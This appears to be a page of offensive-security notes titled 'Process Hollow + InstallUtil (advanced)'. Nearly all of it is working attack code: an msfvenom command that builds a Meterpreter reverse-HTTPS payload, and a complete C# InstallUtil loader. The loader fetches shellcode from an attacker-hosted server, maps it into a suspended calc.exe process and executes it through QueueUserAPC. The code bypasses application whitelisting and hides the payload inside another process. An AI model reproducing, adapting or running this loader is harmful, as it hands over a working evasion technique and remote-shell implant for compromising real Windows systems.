Process Hollow + InstallUtil (advanced)

Host sus.bin on webserver

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.220.128 LPORT=443 -f raw -o sus.bin

Code:

using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
using static Inject.Program;
using System.ComponentModel;
using System.Net.Http;

namespace Inject
{
    class Program
    {

        static void Main(string[] args)
        {

        }
    }
    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public class Native
        {
            [DllImport("ntdll.dll")]
            public static extern uint NtCreateSection(
                ref IntPtr SectionHandle,
                uint DesiredAccess,
                IntPtr ObjectAttributes,
                ref ulong MaximumSize,
                uint SectionPageProtection,
                uint AllocationAttributes,
                IntPtr FileHandle);

            [DllImport("ntdll.dll")]
            public static extern uint NtMapViewOfSection(
                IntPtr SectionHandle,
                IntPtr ProcessHandle,
                out IntPtr BaseAddress,
                IntPtr ZeroBits,
                IntPtr CommitSize,
                IntPtr SectionOffset,
                out ulong ViewSize,
                uint InheritDisposition,
                uint AllocationType,
                uint Win32Protect);
        }
        public class Win32
        {
            [StructLayout(LayoutKind.Sequential)]
            public struct STARTUPINFO
            {
                public int cb;
                public IntPtr lpReserved;
                public IntPtr lpDesktop;
                public IntPtr lpTitle;
                public int dwX;
                public int dwY;
                public int dwXSize;
                public int dwYSize;
                public int dwXCountChars;
                public int dwYCountChars;
                public int dwFillAttribute;
                public int dwFlags;
                public short wShowWindow;
                public short cbReserved2;
                public IntPtr lpReserved2;
                public IntPtr hStdInput;
                public IntPtr hStdOutput;
                public IntPtr hStdError;
            }

            [StructLayout(LayoutKind.Sequential)]
            public struct PROCESS_INFORMATION
            {
                public IntPtr hProcess;
                public IntPtr hThread;
                public int dwProcessId;
                public int dwThreadId;
            }

            [StructLayout(LayoutKind.Sequential)]
            public struct SECURITY_ATTRIBUTES
            {
                public int nLength;
                public IntPtr lpSecurityDescriptor;
                public bool bInheritHandle;
            }

            [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
            public static extern bool CreateProcessW(
                string lpApplicationName,
                string lpCommandLine,
                ref SECURITY_ATTRIBUTES lpProcessAttributes,
                ref SECURITY_ATTRIBUTES lpThreadAttributes,
                bool bInheritHandles,
                uint dwCreationFlags,
                IntPtr lpEnvironment,
                string lpCurrentDirectory,
                ref STARTUPINFO lpStartupInfo,
                out PROCESS_INFORMATION lpProcessInformation);

            [DllImport("kernel32.dll")]
            public static extern uint QueueUserAPC(
                IntPtr pfnAPC,
                IntPtr hThread,
                uint dwData);

            [DllImport("kernel32.dll")]
            public static extern uint ResumeThread(
                IntPtr hThread);

            [Flags]
            public enum AllocationType
            {
                Commit = 0x1000,
                Reserve = 0x2000,
                Decommit = 0x4000,
                Release = 0x8000,
                Reset = 0x80000,
                Physical = 0x400000,
                TopDown = 0x100000,
                WriteWatch = 0x200000,
                LargePages = 0x20000000
            }

            [Flags]
            public enum MemoryProtection
            {
                Execute = 0x10,
                ExecuteRead = 0x20,
                ExecuteReadWrite = 0x40,
                ExecuteWriteCopy = 0x80,
                NoAccess = 0x01,
                ReadOnly = 0x02,
                ReadWrite = 0x04,
                WriteCopy = 0x08,
                GuardModifierflag = 0x100,
                NoCacheModifierflag = 0x200,
                WriteCombineModifierflag = 0x400
            }
        }

        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            var si = new Win32.STARTUPINFO();
            si.cb = Marshal.SizeOf(si);

            var pa = new Win32.SECURITY_ATTRIBUTES();
            pa.nLength = Marshal.SizeOf(pa);

            var ta = new Win32.SECURITY_ATTRIBUTES();
            ta.nLength = Marshal.SizeOf(ta);

            var pi = new Win32.PROCESS_INFORMATION();

            var success = Win32.CreateProcessW(
                "C:\\Windows\\System32\\calc.exe", // calc.exe if win32calc.exe does not exist
                null,
                ref ta,
                ref pa,
                false,
                0x00000004, // CREATE_SUSPENDED
                IntPtr.Zero,
                "C:\\Windows\\System32",
                ref si,
                out pi);

            // If we failed to spawn the process, just bail
            if (!success)
                throw new Win32Exception(Marshal.GetLastWin32Error());

            // Fetch shellcode
            byte[] shellcode;
            var handler = new WebClient();
            using (handler)
            {
                Console.WriteLine("start");
                try
                {
                    shellcode = handler.DownloadData("http://192.168.220.128/sus.bin");
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.Message);
                    shellcode = null;
                }
                Console.WriteLine("goteem");
            }

            var hSection = IntPtr.Zero;
            var maxSize = (ulong)shellcode.Length;

            // Create a new section in the current process
            Native.NtCreateSection(
                ref hSection,
                0x10000000,     // SECTION_ALL_ACCESS
                IntPtr.Zero,
                ref maxSize,
                0x40,           // PAGE_EXECUTE_READWRITE
                0x08000000,     // SEC_COMMIT
                IntPtr.Zero);

            // Map that section into memory of the current process as RW
            Native.NtMapViewOfSection(
                hSection,
                (IntPtr)(-1),   // will target the current process
                out var localBaseAddress,
                IntPtr.Zero,
                IntPtr.Zero,
                IntPtr.Zero,
                out var _,
                2,              // ViewUnmap (created view will not be inherited by child processes)
                0,
                0x04);          // PAGE_READWRITE

            // Copy shellcode into memory of our own process
            Marshal.Copy(shellcode, 0, localBaseAddress, shellcode.Length);

            // Get reference to target process
            //var target = Process.GetProcessById(4148);

            // Now map this region into the target process as RX
            Native.NtMapViewOfSection(
                hSection,
                pi.hProcess, // or piu.hThread
                out var remoteBaseAddress,
                IntPtr.Zero,
                IntPtr.Zero,
                IntPtr.Zero,
                out _,
                2,
                0,
                0x20);      // PA

            // Queue the APC
            Win32.QueueUserAPC(
               remoteBaseAddress, // point to the shellcode location
               pi.hThread,  // primary thread of process
               0);

            // Resume the thread
            Win32.ResumeThread(pi.hThread);
        }
    }
}

Last updated